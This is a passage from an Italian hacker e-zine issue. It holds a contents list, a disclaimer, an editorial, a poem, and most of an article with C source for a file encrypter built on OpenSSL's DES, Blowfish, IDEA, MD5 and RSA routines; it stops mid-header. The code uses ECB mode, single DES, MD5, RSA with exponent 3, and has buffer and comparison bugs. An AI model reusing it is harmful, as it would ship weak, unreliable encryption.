__ ___ __ _ __ ___ __ _ | _/ _ \_ | _ __ __| | __ _| _/ _ \_ |_ _ __ _ __| |_ __ __ _ | | | | | || '_ \ / _` |/ _` | | | | | | | | |/ _` |/ _` | '__/ _` | | | |_| | || | | | (_| | (_| | | |_| | | |_| | (_| | (_| | | | (_| | | |\___/| ||_| |_|\__,_|\__,_| |\__\_\ |\__,_|\__,_|\__,_|_| \__,_| |__| |__| |__| |__| .:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.] .: [O]nda[Q]uadra [OQ20040308 0X0B] :: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: :: http://www.ondaquadra.org :: :: info@ondaquadra.org - articoli@ondaquadra.org :: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: "Tutto nel ciberspazio e' scandito dalla squarewave dei micro-processori Il clock dei micro e' come un battito cardiaco elettronico..." .:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.] .: [O]nda[Q]uadra [OQ20040308 0X0B] :: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: :: 0x00 [L0GiN] EV0LUZi0NE, MERA EV0LUZi0NE [oq~staff] :: :: 0x01 [PAGiNAZER0] LA MiA REGiNA [native] :: :: 0x02 [CRYPT0] OpenSSL/DES,OpenSSL/Blowfish, [binduck] :: :: OpenSSL/IDEA,OpenSSL/MD5: iMPLEMENTATi0N :: :: 0x03 [LiNUX] 0PENM0SiX - C0ME iNSTALLARL0 [DaVe & pinkf] :: :: 0x04 [C0DiNG] FACT0RiNG LARGE iNTEGERS [binduck] :: :: 0x05 [C0DiNG] GRiLL0 PARLANTE [eazy] :: :: 0x06 [C0DiNG] RACE C0NDiTi0NS [snagg] :: :: 0x07 [C0DiNG] EASY ASSEMBLY MiSSi0N - PARTE 1 [spectrum] :: :: 0x08 [SECURiTY] RiPv2 iNSECURiTiES [mydecay & click] :: :: 0x09 [TRADUZi0NE] SMASHiNG THE STACK F0R FUN AND PR0FiT [eafkuor] :: :: 0x0A [SHUTD0WN] PER UN PUGN0 Di RiS0RSE [binduck] :: [.]:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: :: LEGAL DISCLAIMER :: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Nessuna persona dello staff di OndaQuadra si assume responsibilita' per l'uso improprio dell'utilizzo dei testi e dei programmi presenti nella e-zine, ne' per danni a terzi derivanti da esso. OndaQuadra non contravviene in alcun modo alle aggiunte/modificazioni effettuate con la legge 23 dicembre 1993, n. 547 ed in particolare agli artt. 615-quater- e 615-quinques-. Lo scopo di OndaQuadra e' solo quello di spiegare quali sono e come avvengono le tecniche di intrusione al fine di far comprendere come sia possibile difendersi da esse, rendere piu' sicura la propria box e in generale approfondire le proprie conoscenze in campo informatico. I programmi allegati sono semplici esempi di programmazione che hanno il solo scopo di permettere una migliore comprensione di quanto discusso e spiegato nei testi. Non e' soggetta peraltro agli obblighi imposti dalla legge 7 marzo 2001, n. 62 in quanto non diffusa al pubblico con "periodicita' regolare" ex art. 1 e pertanto non inclusa nella previsione dell'art. 5 della legge 8 febbraio 1948, n. 47. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: :: COSTITUZIONE DELLA REPUBBLICA ITALIANA :: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Diritti e doveri dei cittadini: Rapporti civili Articolo 21 Tutti hanno diritto di manifestare liberamente il proprio pensiero con la parola, lo scritto e ogni altro mezzo di diffusione. [...] ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: .::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.] :: [O]nda[Q]uadra [0X0B] OQ20040308[0B] :: :: [0x00][L0GiN] EV0LUZi0NE, MERA EV0LUZi0NE [oq~staff] :: [.]:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Prima di tutto una correzione. Nel L0GiN dello scorso numero si poteva leggere: "[...] Intanto ci sono le minacce provenienti dalle celebri leggi americane ed europee (DMCA, ECMA) sul copyright digitale; [...]" I piu' attenti si saranno accorti di un errore. Si cita erroneamente l'ECMA (associazione che si occupa di standard in ambito di sistemi ICT) al posto di EUCD (naturalmente), la versione europea del DMCA. OndaQuadra si evolve; il progetto continua a perseguire il suo fine, con nuovi stimoli, nuovi progetti, nuovi vaneggi e con la voglia di sempre: Rendere libera e facilmente accessibile l'Informazione! Dal fronte evoluzione abbiamo cambiato hosting. A tal proposito ringraziamo Sensos, ex webmaster ed autore dell'ottima versione precedente del sito, che per un anno ci ha ospitato gratuitamente. Grazie! Molti hanno accolto positivamente il ritorno alla semplicita' per il sito, apprezzandone la sobrieta' e la leggerezza. A ribadire il concetto di leggerezza, OndaQuadra dalla scorsa pubblicazione si propone con un numero limitato di articoli, circa dieci a numero. Questa e' una scelta. Apprezzabile da chi non ama la dispersivita', criticabile agli occhi dei piu' accaniti lettori. Ci auguriamo che sia comprensibile da parte di tutti! Il livello tecnico complessivo presumiamo sia superiore al passato. Cio' non vuol dire affatto che OndaQuadra diventa una rivista "esclusiva" per i pochi, al contrario cerchiamo di pubblicare materiale che si distingua il piu' possibile per l'originalita', la creativita' e la fantasia. Chiunque avesse idee, intuizioni, visioni non esiti a inviarci i propri scritti ad articoli@ondaquadra.org. Dal fronte reperibilita' alcuni frequentatori di cio' che fu il forum si sono lamentati per la sua scomparsa. Ebbene, le diaboliche menti che animano OndaQuadra hanno messo a disposizione di tutti una mailing list . Non esitate ad iscrivervi! Ci teniamo a ricordarvi che potete mettervi in contatto con lo staff via e-mail all'indirizzo info@ondaquadra.org o via IRC sul canale #ondaquadra della rete Azzurra . Buona lettura, inquis e trtms per OndaQuadra staff ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: .::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.] :: [O]nda[Q]uadra [0X0B] OQ20040308[0B] :: :: [0x01][PAGiNAZER0] LA MiA REGiNA [native] :: [.]:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: E` qui`. Davanti i miei occhi, inconsapevole della sua forma, della sua tempra, della sua potenza. Mistiche evoluzioni la trasformano, bit dopo bit, in una nuova creatura, sempre piu` strana, sempre piu` contorta. La mia mente e` immersa in pensieri senza senso, rappresentabili soltanto con il vuoto, un vuoto purtoppo incolmabile. E` ancora qui`. Proiettata nel mio io, raccoglitrice di tutto cio` che la mia anima lascia cadere nella sua Rete. Il suo sguardo perso nel nulla, passivo, immobile, orribile. Sempre attenta, sempre vigile, ma sempre passiva. Non sempre rispetta le regole di questa marcia societa`, ed e` questo che la rende rea di essere, colpevole di esistere. Eppure e` qui`. Striscia nelle mie membra senza vie di scampo, tristemente costretta ad eseguire i comandi di un vile forestiero. Perseguitata, obbligata, imprigionata. Ma e` da cio` che trae la sua inesauribile energia, il suo insaziabile bisogno di vita. Continua allora, continua a vivere, continua a rispondere, ping -> pong, continua a regnare. Il piu` forte, in un modo o nell'altro, e` sempre colui che vince, ed e` questo che fa di te, la mia Regina. native org> http://www.x-stealth.tk ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: .::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.] :: [O]nda[Q]uadra [0X0B] OQ20040308[0B] :: :: [0x02][CRYPT0] OpenSSL/DES,OpenSSL/Blowfish, [binduck] :: :: OpenSSL/IDEA,OpenSSL/MD5: iMPLEMENTATi0N :: [.]:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: 0. Intro 1. Descrizione algoritmi 2. Funzioni & headers DES 3. Funzioni & headers Blowfish 4. Funzioni & headers IDEA 5. Funzioni & headers MD5 In questo articolo vedremo come implementare due degli algoritmi piu' famosi e piu' usati nel campo della crittografia: DES,Blowfish,IDEA,MD5 1. Descrizione algoritmi DES[Data Encryption Standard]: Il DES fu sviluppato dall'IBM nel 1970, divento' standard nel 1976 e fu adottato dal governo statunitense nel 1977 ed e' stato utilizzato per lungo tempo dal governo e da aziende private. Il DES e' un block cipher (cifrario a blocchi) che lavora con blocchi di 64 bits (8 bytes), utilizzando chiavi a 56 bits. Su ogni blocco vengono effettuate delle permutazioni oltre che 16 cicli di xor e permutazioni. Nel 1998 e' stata dimostrata la vulnerabilita' di questo algoritmo, da parte dell' EFF, utilizzando un attacco di tipo brute force. Per ovviare a questo problema e' stato introdotto il 3DES, che e' basato su una ripetizione del cifrario DES, utilizzando chiavi a 112 bits. Blowfish: Nel 1993 Bruce Schneier sviluupo l'algoritmo conosciuto come Blowfish. Come il DES opera su blocchi di 64 bits. Blowfish puo' operare con chiavi fino a 448 bits, anche se tipicamente si utilizzano chiavi a 128 bits. L'utilizzo di Blowfish presenta molti vantaggi a partire dalla sua velocita' e compattezza fino ad arrivare alla sicurezza infatti non si conoscono attacchi efficaci, inoltre e' un algoritmo non patentato. IDEA[International Data Encryption Algorithm]: L'algoritmo IDEA lavora con chiavi a 16 bytes (128 bits), su blocchi di 64 bits. E' basato su 8 cicli identici seguiti da una trasformazione dell'output. MD5[Message Digest 5] MD5, creato nel 1991 da Ronald Rivest e' una funzione one-way hashing, cioe' prende un messaggio e ne deriva una stringa di un 16 bytes chiamata anche message digest. 2. Funzioni & headers DES #include Poiche' la password e' 64 bits (anche se poi e' ridotta a 56 bits) e operiamo su blocchi di 8 bytes, quindi dovremmo operare su blocchi di 64 bits. Quindi dichiariamo che sia la password che i messaggi in chiaro (plaintext) che quelli cifrati (cipher text) dovranno essere blocchi di 64 bits; per fare questo introduciamo il tipo des_cblock. Il tipo dello scheduling della password e' des_key_schedule. Ora possiamo passare alle funzioni: /* des_read_pw_string(): scrive la string contenuta in prompt, leva l'echo sulla stdin e legge la password in input. La password viene inserita in buf ed e' al massimo lenght caratteri. Se verfify e' posto a 1 chiede la riconferma della password. */ int des_read_pw_string(char *buf, int lenght, const char *prompt, int verify); /* des_string_to_key(): converte la stringa contenuta in str in una chiave DES a 64 bits */ void des_string_to_key(const char *str, des_cblock *key); /* des_set_key_checked(): controlla se la chiave passata e' dispari e imposta loschedule della chiave */ int des_set_key_checked(const_des_cblock *key, des_key_schedule schedule); /* des_ecb_encrypt(): e' la routine di cifratura base per il DES offerta dalla libreria. Cifra/Decifra blocchi di 8 bytes a seconda che mode sia DES_ENCRYPT o DES_DECRYPT. ks e' il key schedule */ void des_ecb_encrypt(const_des_cblock *input, des_cblock *output, des_key_schedule ks, int enc); Per informazioni sulle funzioni non illustrate qui: man des 3. Funzioni & headers Blowfish #include Per leggere la password da input usiamo la stessa funzione che utilizziamo per il DES: des_read_pw_string() [leggete la sez. 2]. La chiave dovra' essere di tipo BF_KEY. /* BF_set_key(): imposta la chiave (di tipo BF_KEY) usando la stringa data di lunghezza len */ void BF_set_key(BF_KEY *key, int len, const unsigned char *data); /* BF_ecb_encrypt(): e' la funzione base per cifrare/decifrare offerta dalla libreria. Cifra/Decifra blocchi di 8 bytes a seconda che mode sia BF_ENCRYPT o BF_DECRYPT. */ void BF_ecb_encrypt(const unsigned char *in, unsigned char *out, BF_KEY *key, int enc); 4. Funzioni & headers IDEA #include Lo schedule della chiave deve essere impostato a IDEA_KEY_SCHEDULE. Ricordo, inoltre, che il ciphertext e il plaintext devono essere blocchi di 8 bytes. Per leggere la password da input usiamo la stessa funzione che utilizziamo per il DES: des_read_pw_string() [leggete la sez. 2]. /* idea_set_encrypt_key(): imposta il key schedule della chiave per la fase di cifrazione */ void idea_set_encrypt_key(const unsigned char *key, IDEA_KEY_SCHEDULE *ks); /* idea_set_decrypt_key(): imposta il key schedule della chiave per la fase di decifrazione partendo dal key schedule generato con idea_set_encrypt_key() */ void idea_set_decrypt_key(IDEA_KEY_SCHEDULE *ek, IDEA_KEY_SCHEDULE *dk); /* idea_ecb_encrypt(): cifra/decifra [a seconda del key schedule passatogli] i dati contenuti nel blocco di 8 bytes in e li mette nel blocco di 8 bytes out. */ void idea_ecb_encrypt(const unsigned char *in, unsigned char *out, IDEA_KEY_SCHEDULE *ks); 5. Funzioni & headers MD5 #include Questa libreria include alcune funzioni per l'hashing dei messaggi. /* MD5(): performa l'hash del messaggio passatogli */ unsigned char *MD5(const unsigned char *d, unsigned long n, unsigned char *md); [Se md e' NULL il message digest viene messo in un array statico] A livello applicativo, invece di usare questa funzione conviene utilizzare le routines EVP, che lavorano a piu' alto livello. #include /* EVP_md5(): ritorna una struttura EVP_MD per l'algoritmo md5 */ EVP_MD *EVP_md5(void); /* EVP_DigestInit(): inizializza un context CTX per usare un digest di tipo type*/ void EVP_DigestInit(EVP_MD_CTX *ctx, const EVP_MD *type); /* EVP_DigestUpdate(): computa l'hash di cnt bytes di d nel CTX */ void EVP_DigestUpdate(EVP_MD_CTX *ctx, const void *d, unsigned int cnt); /* EVP_DigestFinal(): mette l'hash contenuto nel context CTX in md*/ void EVP_DigestFinal(EVP_MD_CTX *ctx, unsigned char *md, unsigned int *s); man md5 Ora che abbiamo visto le principali funzioni potete guardarvi il codice sorgente di UNISFED. [Il codice contiene anche l'algoritmo di crittografia a chiave pubblica RSA, descritte nel numero 0A di Ondaquadra] Da compilarsi [una volta suddivisi i files] in questo modo: gcc unisfed.c -o unisfed -lssl -------------------block_ciphers.c------------------------------------- #include #include #include #define MAXPASSLEN 31 /* DES * If mode = 1 encrypts *filein file with DES algorithm * If mode = 0 decrypts *filein file with DES algorithm * output is written in *fileout file * Returns 1 if the function runs successfully * Works on 8 bytes blocks * */ void des_encrypt_decrypt(int mode, char *filein, char *fileout) { FILE *fpin,*fpout; char buf[MAXPASSLEN]; des_cblock key,inmsg,outmsg; /* key, plaintext, ciphertext must be 8 byte blocks */ des_key_schedule sched; if (strcmp(filein,fileout) == 0) { fprintf(stderr,"Error: input and output files must not \ be the same file.\n"); exit(EXIT_FAILURE); } /* des_read_pw_string reads password from stdin and stores it in buf this function automatically asks to re-enter password and checks it */ memset(buf,'\0',MAXPASSLEN); if (mode == 1) { printf("Encrypting file '%s' with des cipher.\n", \ filein); if (des_read_pw_string(buf,MAXPASSLEN - 1,"Enter the \ password:\n",1) != 0) { fprintf(stderr,"Error: failed to read \ password.\n"); exit(EXIT_FAILURE); } } else { printf("Decrypting file '%s' with des cipher.\n",\ filein); if (des_read_pw_string(buf,MAXPASSLEN - 1,"Enter the \ password:\n",0) != 0) { fprintf(stderr,"Error: failed to read \ password.\n"); exit(EXIT_FAILURE); } } /* des_string to key convers the password to a key */ des_string_to_key(buf,&key); /* des_set_key_checked checks that a key passed in of odd parity and set up the key schedule */ des_set_key_checked(&key,sched); fpin = fopen(filein,"r"); if ((fpout = fopen(fileout,"w")) == NULL) { fprintf(stderr,"Error: failed to open output file.\n"); exit(EXIT_FAILURE); } /* reads 8 bytes at a time(block=8bytes),encrypts/decrypts each block with ecb */ while (fread(inmsg,1,8,fpin)) { memset(outmsg,'\0',8); des_ecb_encrypt(&inmsg,&outmsg,sched,mode); fwrite(outmsg,1,8,fpout); memset(inmsg,'\0',8); } fclose(fpin); fclose(fpout); printf("Done.\n"); return; } /* Blowfish * If mode = 1 encrypts *filein file with Blowfish algorithm * If mode = 0 decrypts *filein file with Blowfish algorithm * output is written in *fileout file * Returns 1 if the function runs successfully * Works on 8 bytes blocks * */ void bf_encrypt_decrypt(int mode, char *filein, char *fileout) { FILE *fpin,*fpout; char buf[MAXPASSLEN]; unsigned char inmsg[8],outmsg[8]; /* blowfish operates on 8 byte blocks */ BF_KEY key; if (strcmp(filein,fileout) == 0) { fprintf(stderr,"Error: input and output files must \ not be the same file.\n"); exit(EXIT_FAILURE); } /* reads password from stdin using the same function used for des passwords */ memset(buf,'\0',MAXPASSLEN); if (mode == 1) { printf("Encrypting file '%s' with BlowFish cipher.\n",\ filein); if (des_read_pw_string(buf,MAXPASSLEN - 1,"Enter the \ password:\n",1) != 0) { fprintf(stderr,"Error: failed to read \ password.\n"); exit(EXIT_FAILURE); } } else { printf("Decrypting file '%s' with BlowFish cipher.\n",\ filein); if (des_read_pw_string(buf,MAXPASSLEN - 1,"Enter the \ password:\n",0) != 0) { fprintf(stderr,"Error: failed to read \ password.\n"); exit(EXIT_FAILURE); } } /* set up the key using password stored in buf from des_read_pw_string */ BF_set_key(&key,strlen(buf),buf); fpin = fopen(filein,"r"); if ((fpout = fopen(fileout,"w")) == NULL) { fprintf(stderr,"Error: failed to open output file.\n"); exit(EXIT_FAILURE); } /* reads 8 bytes at a time(block=8bytes),encrypts/decrypts each block with ecb */ while (fread(inmsg,1,8,fpin)) { memset(outmsg,'\0',8); BF_ecb_encrypt(inmsg,outmsg,&key,mode); fwrite(outmsg,1,8,fpout); memset(inmsg,'\0',8); } fclose(fpin); fclose(fpout); printf("Done.\n"); return; } /* IDEA * If mode = 1 encrypts *filein file with IDEA algorithm * If mode = 0 decrypts *filein file with IDEA algorithm * output is written in *fileout file * Returns 1 if the function runs successfully * Works on 8 bytes blocks * */ void idea_encrypt_decrypt(int mode, char *filein, char *fileout) { FILE *fpin,*fpout; char buf[MAXPASSLEN]; unsigned char inmsg[8],outmsg[8]; /* idea operates on 8 byte blocks */ IDEA_KEY_SCHEDULE sched,dc_sched; if (strcmp(filein,fileout) == 0) { fprintf(stderr,"Error: input and output files must not\ be the same file.\n"); exit(EXIT_FAILURE); } /* reads password from stdin using the same function used for des passwords */ memset(buf,'\0',MAXPASSLEN); if (mode == 1) { printf("Encrypting file '%s' with IDEA cipher.\n",\ filein); if (des_read_pw_string(buf,MAXPASSLEN - 1,"Enter the \ password:\n",1) != 0) { fprintf(stderr,"Error: failed to read \ password.\n"); exit(EXIT_FAILURE); } } else { printf("Decrypting file '%s' with IDEA cipher.\n",\ filein); if (des_read_pw_string(buf,MAXPASSLEN - 1,"Enter the \ password:\n",0) != 0) { fprintf(stderr,"Error: failed to read \ password.\n"); exit(EXIT_FAILURE); } } /* set up the key schedule for encryption */ idea_set_encrypt_key(buf,&sched); /* setting up the key schedule for decryption in mode == 0 */ if (mode == 0) { idea_set_decrypt_key(&sched,&dc_sched); sched = dc_sched; } fpin = fopen(filein,"r"); if ((fpout = fopen(fileout,"w")) == NULL) { fprintf(stderr,"Error: failed to open output file.\n"); exit(EXIT_FAILURE); } /* reads 8 bytes at a time(block=8bytes),encrypts/decrypts each\ block with ecb */ while (fread(inmsg,1,8,fpin)) { memset(outmsg,'\0',8); idea_ecb_encrypt(inmsg,outmsg,&sched); fwrite(outmsg,1,8,fpout); memset(inmsg,'\0',8); } fclose(fpin); fclose(fpout); printf("Done.\n"); return; } -------------------end block_ciphers.c--------------------------------- -------------------hash.c---------------------------------------------- #include #include void make_hex(u_char *in, u_char *out) { const char *hex = "0123456789abcdef"; int i; for(i = 0; i < 16; i++, in++) { *out++ = hex[*in >> 4]; *out++ = hex[*in & 0xf]; } *out = 0x00; return; } /* MD5 * Hashing algorithm * md5hash() performs the hash of a given file. */ void md5hash(char *filein) { FILE *fp = NULL; unsigned int tmpsize=0,linesize=0; char *hashbuf = NULL; unsigned char *hash = NULL; EVP_MD_CTX ctx; printf("MD5 hash of '%s' file is:\n",filein); EVP_DigestInit(&ctx,EVP_md5()); /* initializes digest context*/ fp = fopen(filein,"r"); while ((linesize = getline(&hashbuf,&tmpsize,fp)) != -1) { EVP_DigestUpdate(&ctx,hashbuf,linesize); /* hashes linesize bytes of data at hashbuf */ linesize = 0; } fclose(fp); hash = (unsigned char *)malloc(16); EVP_DigestFinal(&ctx,(unsigned char *)hash,NULL); /* retrieves the digest value */ make_hex(hash, hashbuf); printf("%s\n",hashbuf); free(hashbuf); free(hash); return; } /* MD5 * Hashing algorithm * md5cmp() compares the hash of two given files. */ void md5cmp(char *file1, char *file2) { FILE *fp = NULL; unsigned int tmpsize=0,linesize=0; char *hashbuf = NULL; unsigned char *hash1 = NULL, *hash2 = NULL; EVP_MD_CTX ctx; printf("Comparing MD5 hashes of '%s' and '%s' files.\n",\ file1,file2); EVP_DigestInit(&ctx,EVP_md5()); fp = fopen(file1,"r"); while ((linesize = getline(&hashbuf,&tmpsize,fp)) != -1) { EVP_DigestUpdate(&ctx,hashbuf,linesize); linesize = 0; } fclose(fp); hash1 = (unsigned char *)malloc(16); EVP_DigestFinal(&ctx,(unsigned char *)hash1,NULL); EVP_DigestInit(&ctx,EVP_md5()); /* initializes the digest context */ linesize = 0; tmpsize = 0; fp = fopen(file2, "r"); while ((linesize = getline(&hashbuf,&tmpsize,fp)) != -1) { EVP_DigestUpdate(&ctx,hashbuf,linesize); /* hashes linesize bytes of data at hashbuf */ linesize = 0; } fclose(fp); hash2 = (unsigned char *)malloc(16); EVP_DigestFinal(&ctx,(unsigned char *)hash2,NULL); /* retrieves the digest value */ if (strcmp(hash1,hash2) == 0) printf("MD5 hashes match.\n"); else printf("MD5 hashes don't match.\n"); free(hash1); free(hash2); free(hashbuf); return; } -------------------end hash.c------------------------------------------ -------------------misc.c---------------------------------------------- void help(char *name) { printf("UniSFED [Simple File Encrypter/Decrypter] v%s\n",\ VERSION); printf("Coded by Paolo Ardoino \n"); printf("Usage:\n"); printf("%s -h\t:displays this help\n",name); printf("%s -fh \t:performs the MD5 hash of \ file_to_hash.\n",name); printf("%s -fc \t:compares the \ MD5 hash of the two files.\n",name); printf("%s -e <-idea|-des|-bf|-rsa> \ [rsa_pub.pem]]\t:encrypts file_to_crypt with \ choosen cipher.\n",name); printf("%s -d <-idea|-des|-bf|-rsa> \ [rsa_sec.pem]\t:decrypts file_to_decrypt with \ choosen cipher.\n",name); printf("%s -grsa \t:generates a \ RSA key pair.\n", name); printf("-idea: idea block cipher.\n"); printf(" -des: des block cipher.\n"); printf(" -bf: blowfish block cipher.\n"); printf("Ex: %s -e -bf passwords.txt crypto_pass.txt\n",name); printf("Ex: %s -d -bf crypto_pass.txt pass_file.txt\n",name); printf("Ex: %s -fc file1 file2\n",name); printf("\nPlease report bugs to \n"); return; } /* * fexists() checks for the existence of a given file. * return 0 if the file doesn't exist and 1 if it exists. */ int fexists(char *file) { FILE *fp; if ((fp = fopen(file,"r")) == NULL) { return 0; } else { fclose(fp); return 1; } } -------------------end misc.c------------------------------------------ -------------------rsa.c----------------------------------------------- #include #include #include #define READPUB 0 #define READSEC 1 void rsa_ed(int mode, char *fin, char *fout, char *pemfile) { int size=0,len=0,ks=0; RSA *key=NULL; FILE *fpin=NULL, *fpout=NULL; unsigned char *cipher=NULL,*plain=NULL; if (strcmp(fin, fout) == 0) { fprintf(stderr,"Error: input and output files must not\ be the same file.\n"); exit(EXIT_FAILURE); } if (mode == 0) { fpin = fopen(fin, "r"); key = (RSA *)readpemkeys(READPUB, pemfile); fpout = fopen(fout, "w"); ks = RSA_size(key); plain = (unsigned char *)malloc(ks * \ sizeof(unsigned char)); cipher = (unsigned char*)malloc(ks * \ sizeof(unsigned char)); printf("Encrypting '%s' file.\n", fin); while(!feof(fpin)) { memset(plain,'\0',ks + 1); memset(cipher, '\0', ks + 1); len = fread(plain, 1, ks - 11, fpin); size = rsa_encrypt(key, plain, len, &cipher); fwrite(cipher, 1, size, fpout); } fclose(fpout); fclose(fpin); free(cipher); free(plain); RSA_free(key); printf("Done.\n"); } else if (mode == 1) { fpin = fopen(fin, "r"); key = (RSA *)readpemkeys(READSEC, pemfile); fpout = fopen(fout, "w"); ks = RSA_size(key); cipher = (unsigned char*)malloc(ks * \ sizeof(unsigned char)); plain = (unsigned char*)malloc(ks * \ sizeof(unsigned char)); printf("Decrypting '%s' file.\n", fin); while(!feof(fpin)) { memset(cipher, '\0', ks); memset(plain, '\0', ks); if ((len = fread(cipher, 1, ks, fpin)) == 0) break; size = rsa_decrypt(key, cipher, len, &plain); fwrite(plain, 1, size, fpout); } fclose(fpout); fclose(fpin); free(plain); free(cipher); RSA_free(key); printf("Done.\n"); } return; } void genkey(int size, char *secfile, char *pubfile) { RSA *key=NULL; FILE *fp; printf("Generating RSA keys[%d bits].\n", size); if (size < 64) { fprintf(stderr, "Error: RSA Key pair size too small.\n"); fprintf(stderr, "size >= 64\n"); exit(EXIT_FAILURE); } if((key = RSA_generate_key(size,3,NULL,NULL)) == NULL) { fprintf(stderr,"%s\n",ERR_error_string(ERR_get_error(),NULL)); exit(EXIT_FAILURE); } if(RSA_check_key(key) < 1) { fprintf(stderr,"Error: Problems while generating RSA Key.\n \ Retry.\n"); exit(EXIT_FAILURE); } fp=fopen(secfile,"w"); if(PEM_write_RSAPrivateKey(fp,key,NULL,NULL,0,0,NULL) == 0) { fprintf(stderr,"Error: problems while writing RSA Private \ Key.\n"); exit(EXIT_FAILURE); } fclose(fp); fp=fopen(pubfile,"w"); if(PEM_write_RSAPublicKey(fp,key) == 0) { fprintf(stderr,"Error: problems while writing RSA Public Key.\n"); exit(EXIT_FAILURE); } fclose(fp); RSA_free(key); printf("Done.\n"); return; } void* readpemkeys(int type, char *pemfile) { FILE *fp; RSA *key=NULL; if(type == READPUB) { if((fp = fopen(pemfile,"r")) == NULL) { fprintf(stderr,"Error: Public Key file doesn't exists.\n"); exit(EXIT_FAILURE); } if((key = PEM_read_RSAPublicKey(fp,NULL,NULL,NULL)) == NULL) { fprintf(stderr,"Error: problems while reading Public Key.\n"); exit(EXIT_FAILURE); } fclose(fp); return key; } if(type == READSEC) { if((fp = fopen(pemfile,"r")) == NULL) { fprintf(stderr,"Error: Private Key file doesn't exists.\n"); exit(EXIT_FAILURE); } if((key = PEM_read_RSAPrivateKey(fp,NULL,NULL,NULL)) == NULL) { fprintf(stderr,"Error: problmes while reading Private Key.\n"); exit(EXIT_FAILURE); } fclose(fp); if(RSA_check_key(key) == -1) { fprintf(stderr,"Error: Problems while reading RSA Private Key in \ '%s' file.\n",pemfile); exit(EXIT_FAILURE); } else if(RSA_check_key(key) == 0) { fprintf(stderr,"Error: Bad RSA Private Key readed in '%s' \ file.\n",pemfile); exit(EXIT_FAILURE); } else return key; } return key; } int rsa_encrypt(void *key, unsigned char *plain, int len, \ unsigned char **cipher) { int clen=0; srand(time(NULL)); if((clen = RSA_public_encrypt(len, plain, *cipher, (RSA*)key, \ RSA_PKCS1_PADDING)) == -1) { fprintf(stderr, "%s\n", ERR_error_string(ERR_get_error(), NULL)); exit(EXIT_FAILURE); } else return clen; } int rsa_decrypt(void *key, unsigned char *cipher, int len, \ unsigned char **plain) { int plen=0; if((plen = RSA_private_decrypt(len, cipher, *plain, (RSA*)key, \ RSA_PKCS1_PADDING)) == -1) { fprintf(stderr, "%s\n", ERR_error_string(ERR_get_error(), NULL)); exit(EXIT_FAILURE); } else return plen; } -------------------end rsa.c------------------------------------------- -------------------unisfed.c------------------------------------------- #include "unisfed.h" int main(int argc, char *argv[]) { if (argc == 1 || strcmp(argv[1],"-h") == 0 || \ ((strcmp(argv[1],"-e") != 0 && strcmp(argv[1],"-d") != 0 && \ strcmp(argv[1],"-fh") != 0 && strcmp(argv[1],"-fc") != 0 && \ strcmp(argv[1], "-grsa") != 0))) help(argv[0]); else if (strcmp(argv[1],"-d") == 0 && (argc == 5 || argc == 6) \ && (strcmp(argv[2],"-idea") == 0 ||strcmp(argv[2],"-des") == 0 \ || strcmp(argv[2],"-bf") == 0||strcmp(argv[2], "-rsa") == 0)){ \ if (strcmp(argv[2],"-idea") == 0) { if (fexists(argv[3]) == 1) idea_encrypt_decrypt(0,argv[3],argv[4]); else fprintf(stderr,"Error: input file not \ found.\n"); } else if (strcmp(argv[2],"-des") == 0) { if (fexists(argv[3]) == 1) des_encrypt_decrypt(0,argv[3],argv[4]); else fprintf(stderr,"Error: input file not \ found.\n"); } else if (strcmp(argv[2],"-bf") == 0) { if (fexists(argv[3]) == 1) bf_encrypt_decrypt(0,argv[3],argv[4]); else fprintf(stderr,"Error: input file not \ found.\n"); } else if (strcmp(argv[2],"-rsa") == 0) { if (fexists(argv[3]) == 1) rsa_ed(1, argv[3], argv[4], argv[5]); else fprintf(stderr,"Error: input file not \ found.\n"); } else; } else if (strcmp(argv[1],"-e") == 0 && \ (argc == 5 || argc == 6) && (strcmp(argv[2],"-idea") == 0 || \ strcmp(argv[2],"-des") == 0 || strcmp(argv[2],"-bf") == 0 || \ strcmp(argv[2], "-rsa") == 0)) { if (strcmp(argv[2],"-idea") == 0) { if (fexists(argv[3]) == 1) idea_encrypt_decrypt(1,argv[3], \ argv[4]); else fprintf(stderr,"Error: input file not \ found.\n"); } else if (strcmp(argv[2],"-des") == 0) { if (fexists(argv[3]) == 1) des_encrypt_decrypt(1,argv[3],argv[4]); else fprintf(stderr,"Error: input file not \ found.\n"); } else if (strcmp(argv[2],"-bf") == 0) { if (fexists(argv[3]) == 1) bf_encrypt_decrypt(1,argv[3],argv[4]); else fprintf(stderr,"Error: input file not \ found.\n"); } else if (strcmp(argv[2],"-rsa") == 0) { if (fexists(argv[3]) == 1) rsa_ed(0, argv[3], argv[4], argv[5]); else fprintf(stderr,"Error: input file not \ found.\n"); } else; } else if (strcmp(argv[1],"-fh") == 0 && argc == 3) { if (fexists(argv[2]) == 1) md5hash(argv[2]); else fprintf(stderr,"Error: input file not found.\n"); } else if (strcmp(argv[1],"-fc") == 0 && argc == 4) { if (fexists(argv[2]) == 1 && fexists(argv[3]) == 1) md5cmp(argv[2],argv[3]); else fprintf(stderr,"Error: input files not found.\n"); } else if (strcmp(argv[1], "-grsa") == 0 && argc == 5) genkey(atoi(argv[2]), argv[3], argv[4]); else help(argv[0]); return 0; } -------------------end unisfed.c--------------------------------------- -------------------unisfed.h------------------------------------------- #define _GNU_SOURCE #include #include #include #define 